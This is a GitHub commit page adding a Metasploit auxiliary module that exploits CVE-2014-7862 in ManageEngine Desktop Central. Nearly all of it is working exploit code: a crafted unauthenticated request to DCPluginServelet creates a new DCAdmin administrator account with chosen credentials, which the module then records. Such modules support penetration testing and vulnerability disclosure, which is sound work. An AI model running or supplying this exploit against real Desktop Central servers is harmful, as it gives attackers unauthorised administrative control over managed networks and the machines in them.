Skip to content

Commit e81e68b

Browse files
author
Pedro Ribeiro
committed
Create me_dc9_admin.rb
1 parent 8f466cf commit e81e68b

File tree

1 file changed

+97
-0
lines changed

1 file changed

+97
-0
lines changed
Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'ManageEngine Desktop Central Administrator Account Creation',
16+
'Description' => %q{
17+
This module exploits an administrator account creation vulnerability in Desktop Central
18+
from v7 onwards by sending a crafted request to DCPluginServelet.
19+
It has been tested in several versions of Desktop Central (including MSP) from
20+
v7 onwards.
21+
},
22+
'Author' =>
23+
[
24+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
[ 'CVE', '2014-7862' ],
30+
[ 'OSVDB', 'TODO' ],
31+
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_dc9_admin.txt' ],
32+
[ 'URL', 'TODO_FULLDISC_URL' ]
33+
],
34+
'DisclosureDate' => 'Dec 31 2014'))
35+
36+
register_options(
37+
[
38+
OptPort.new('RPORT', [true, 'The target port', 8020]),
39+
OptString.new('TARGETURI', [ true, "Desktop Central URI", '/']),
40+
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
41+
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
42+
OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]'])
43+
], self.class)
44+
end
45+
46+
47+
def run
48+
# Generate password hash
49+
salt = Time.now.to_i.to_s
50+
password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*'))
51+
52+
res = send_request_cgi({
53+
'uri' => normalize_uri(target_uri.path, "/servlets/DCPluginServelet"),
54+
'method' =>'GET',
55+
'vars_get' => {
56+
'action' => 'addPlugInUser',
57+
'role' => 'DCAdmin',
58+
'userName' => datastore['USERNAME'],
59+
'email' => datastore['EMAIL'],
60+
'phNumber' => Rex::Text.rand_text_numeric(6),
61+
'password' => password_encoded,
62+
'salt' => salt,
63+
'createdtime' => salt
64+
}
65+
})
66+
if res && res.code == 200 && res.body.to_s =~ /sucess/
67+
# Yes, "sucess" is really mispelt, as is "Servelet" ... !
68+
print_good("#{peer} - Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
69+
service_data = {
70+
address: rhost,
71+
port: rport,
72+
service_name: (ssl ? 'https' : 'http'),
73+
protocol: 'tcp',
74+
workspace_id: myworkspace_id
75+
}
76+
credential_data = {
77+
origin_type: :service,
78+
module_fullname: self.fullname,
79+
private_type: :password,
80+
private_data: datastore['PASSWORD'],
81+
username: datastore['USERNAME']
82+
}
83+
84+
credential_data.merge!(service_data)
85+
credential_core = create_credential(credential_data)
86+
login_data = {
87+
core: credential_core,
88+
access_level: 'Administrator',
89+
status: Metasploit::Model::Login::Status::UNTRIED
90+
}
91+
login_data.merge!(service_data)
92+
create_credential_login(login_data)
93+
else
94+
print_error("#{peer} - Administrator account creation failed")
95+
end
96+
end
97+
end

0 commit comments

Comments
 (0)